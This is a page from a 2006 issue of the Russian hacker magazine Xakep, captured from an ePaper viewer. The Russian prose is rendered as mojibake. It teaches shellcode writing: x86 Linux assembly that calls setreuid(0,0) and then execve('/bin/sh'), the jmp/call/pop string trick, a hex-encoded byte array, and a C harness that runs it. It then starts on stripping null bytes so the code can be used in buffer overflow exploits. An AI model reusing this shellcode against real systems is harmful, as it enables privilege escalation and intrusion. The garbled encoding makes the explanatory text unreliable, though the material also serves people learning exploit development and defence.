26.11.2014 Views

Январь - Xakep Online

Январь - Xakep Online

Январь - Xakep Online

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

ÂÇËÎÌ ///// ISSUE<br />

Ïðàêòè÷åñêè êàæäûé ýêñïëîèò ñîäåðæèò<br />

íåñêîëüêî ñòðî÷åê øåëëêîäà<br />

jmp two<br />

one:<br />

pop ebx<br />

[òåêñò ïðîãðàììû]<br />

two:<br />

call one<br />

db 'ñòðîêà'<br />

 ñàìîì íà÷àëå ïðîãðàììû îñóùåñòâëÿåòñÿ ïåðåõîä íà ìåòêó<br />

two, çà êîòîðîé ðàñïîëîæåí âûçîâ ïðîöåäóðû one. Íà ñàìîì äåëå<br />

íèêàêîé ïðîöåäóðû íåò, îäíàêî ñ òàêèì èìåíåì åñòü åùå îäíà<br />

ìåòêà, êîòîðîé è ïåðåäàåòñÿ óïðàâëåíèå. Â ýòîò ìîìåíò â<br />

ñòåê çàíîñèòñÿ àäðåñ âîçâðàòà, òî åñòü àäðåñ ñëåäóþùåé çà call<br />

èíñòðóêöèåé.  íàøåì ñëó÷àå ýòî ñòðîêà áàéò — db 'string'. Ïîëó÷àåòñÿ,<br />

÷òî ê ìîìåíòó, êîãäà íà÷èíàåòñÿ îáðàáîòêà ìåòêè one,<br />

â ñòåê óæå áóäåò ïîìåùåí àäðåñ íà÷àëà ñòðîêè. Íàì îñòàåòñÿ<br />

ëèøü èçâëå÷ü åå è èñïîëüçîâàòü, êàê çàáëàãîðàññóäèòüñÿ. Ïîïðîáóåì<br />

ýòèì âîñïîëüçîâàòüñÿ â ðåàëüíîé ïðîãðàììå: äëÿ ýòîãî<br />

ìîäèôèöèðóåì íàø âòîðîé ïðèìåð. Äëÿ óäîáñòâà íàçîâåì åãî<br />

shell.asm, òàê êàê äàëåå áóäåì ðàáîòàòü òîëüêî ñ íèì.<br />

BITS 32<br />

; setreuid(0, 0)<br />

mov eax, 70<br />

mov ebx, 0<br />

mov ecx, 0<br />

int 0x80<br />

jmp<br />

one:<br />

pop<br />

two<br />

ebx<br />

; execve("/bin/sh",["/bin/sh", NULL], NULL)<br />

mov eax, 11<br />

push 0<br />

push ebx<br />

mov ecx, esp<br />

mov edx, 0<br />

int 0x80<br />

two:<br />

call one<br />

db '/bin/sh', 0<br />

Êàê âèäèøü, íèêàêèõ ñåãìåíòîâ áîëüøå íåò. Ñòðîêà /bin/sh, êîòîðàÿ<br />

ðàíåå õðàíèëàñü â ñåãìåíòå äàííûõ, òåïåðü èçâëåêàåòñÿ<br />

èç ñòåêà â ðåãèñòð EBX. Êðîìå ýòîãî, äîáàâèëàñü íîâàÿ äèðåêòèâà<br />

BITS 32, îòâå÷àþùàÿ çà îïòèìèçàöèþ äëÿ 32-áèòíûõ ïðîöåññîðîâ.<br />

 ïðèíöèïå, ìîæíî áûëî ïîñòóïèòü èíà÷å: ñàìîñòîÿòåëüíî çàíåñòè<br />

â ñòåê ñòðîêó è èçâëå÷ü åå ñ ïîìîùüþ óêàçàòåëÿ íà âåðøèíó<br />

ñòåêà ESP. Ïðîâåðíåì òàêîé ôèíò ñî ñòðîêîé «hello,<br />

world!»:<br />

push word 0x0a21<br />

push 0x646c726f<br />

push 0x77202c6f<br />

push 0x6c6c6568<br />

mov ebx, esp<br />

Ñòðîêà çàíîñèòñÿ â ñòåê ñ êîíöà:<br />

Ïðîãðàììà íà C,<br />

ñíà÷àëà èäåò \n! (â øåñòíàäöàòåðè÷íîì<br />

êîäå 0x0a21), ïîòîì dlro<br />

çàïóñêàþùàÿ øåëë-èíòåðïðåòàòîð<br />

(0x646c726f), äàëåå w ,o (0x77202c6f) è lleh (0x6c6c6568). Â êîíöå<br />

êîíöîâ çíà÷åíèå èç ðåãèñòðà ESP (àäðåñ íà÷àëà ñòðîêè) çàíîñèòñÿ<br />

EBX. Ëèõî? Ýòîò ñïîñîá áîëåå ýôôåêòèâåí, òàê êàê ñóùåñòâåííî<br />

ñîêðàùàåò øåëë-êîä, îäíàêî ìåíåå óäîáåí.<br />

ÏÅÐÂÛÉ ØÅËË-ÊÎÄ<br />

Òåïåðü, êîãäà ìû íàó÷èëèñü îáõîäèòüñÿ áåç ñåãìåíòà äàííûõ,<br />

ìîæíî ïðèñòóïèòü ê ñîçäàíèþ ïåðâîãî ïîëíîöåííîãî øåëë-êîäà.<br />

Äëÿ ýòîãî íóæíî ñíà÷àëà îòêîìïèëèðîâàòü èñõîäíûé êîä ïðîãðàììû<br />

íà àññåìáëåðå:<br />

$ nasm shell.asm<br />

È ïðîñìîòðåòü ïîëó÷åííûé áèíàðíèê ñ ïîìîùüþ ïðîãðàììû hexdump:<br />

$ hexdump -C shell<br />

Âèäèøü ñêðèíøîò? Ïî ñóòè äåëà ýòî è åñòü øåëë-êîä, òîëüêî íåîáõîäèìî<br />

ïðåîáðàçîâàòü åãî â ñîîòâåòñòâóþùèé âèä. Äëÿ ýòîãî<br />

ïåðåä êàæäûì áàéòîì äîïèøè ñèìâîë \x è áåç ïðîáåëîâ çàíåñè<br />

â ìàññèâ ñèìâîëîâ. Ïðîâåðèòü åãî ðàáîòîñïîñîáíîñòü ìîæíî ñ<br />

ïîìîùüþ òàêîé íåñëîæíîé ïðîãðàììû:<br />

char code[]=<br />

"\xb8\x46\x00\x00\x00\xbb\x00\x00\x00\x00\xb9\x00\x00\x00\x00\xcd"<br />

"\x80\xe9\x15\x00\x00\x00\x5b\xb8\x0b\x00\x00\x00\x68\x00\x00\x00"<br />

"\x00\x53\x89\xe1\xba\x00\x00\x00\x00\xcd\x80\xe8\xe6\xff\xff\xff"<br />

"\x2f\x62\x69\x6e\x2f\x73\x68\x00";<br />

main()<br />

{<br />

int (*shell)();<br />

(int)shell = code;<br />

shell();<br />

}<br />

$ gcc -o shell.c<br />

$ ./shell.c<br />

Âñå ðàáîòàåò!<br />

ÝÒÈ ÇËÛÅ NULL-ÁÀÉÒÛ<br />

Ñïåøó òåáÿ îãîð÷èòü. Íåñìîòðÿ íà òî, ÷òî øåëë-êîä íå èñïîëüçóåò<br />

ñåãìåíò äàííûõ è äàæå ðàáîòàåò âíóòðè ïðîãðàììû-òåñòåðà,<br />

èñïîëüçîâàòü åãî â ðåàëüíûõ ýêñïëîéòàõ ïîêà<br />

íåëüçÿ. Âèíîé òîìó íóëåâûå áàéòû (\x00), êîòîðûå â èçîáèëèè<br />

ïðèñóòñòâóþò â øåëë-êîäå. Áîëüøèíñòâî îøèáîê Buffer<br />

Overflow è ïîäîáíûõ ñâÿçàíû ñ èñïîëüçîâàíèåì ôóíêöèè ðàáîòû<br />

ñî ñòðîêàìè: strcpy(), sprintf(), gets(), strcat() è ò.ä. Åñëè<br />

ïîïûòàòüñÿ èñïîëüçîâàòü øåëë-êîä â îäíîé èç òàêèõ óÿçâèìîñòåé,<br />

ïåðåïîëíèòü áóôåð è èíæåêòèðîâàòü êîä ñ íóëåâûìè<br />

áàéòàìè, òî íè÷åãî õîðîøåãî íå âûéäåò. Âñòðåòèâ íóëåâîé<br />

áàéò, ôóíêöèÿ ïîäóìàåò, ÷òî âñòðåòèëà êîíåö ñòðîêè è<br />

íå ïðî÷èòàåò îñòàâøóþñÿ ÷àñòü øåëë-êîäà.<br />

Îò õàêåðà òðåáóåòñÿ âñåìè ñèëàìè èçáåãàòü ñèòóàöèè, êîãäà â øåëëêîäå<br />

ïîÿâëÿþòñÿ íóëåâûå áàéòû. Ýòèì ìû, ñîáñòâåííî, è çàéìåìñÿ.<br />

Èäåÿ ïðîñòàÿ: íàéòè òå ó÷àñòêè êîäà, êîòîðûå ïîðîæäàþò íóëåâûå<br />

áàéòû, è âèäîèçìåíèòü èõ òàêèì îáðàçîì, ÷òîáû êîìáèíàöèè<br />

\x00 â øåëë-êîäå áîëüøå íå âñòðå÷àëîñü. Îïûòíûé ïðîãðàììèñò<br />

054 XÀÊÅÐ 01 /85/ 06

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!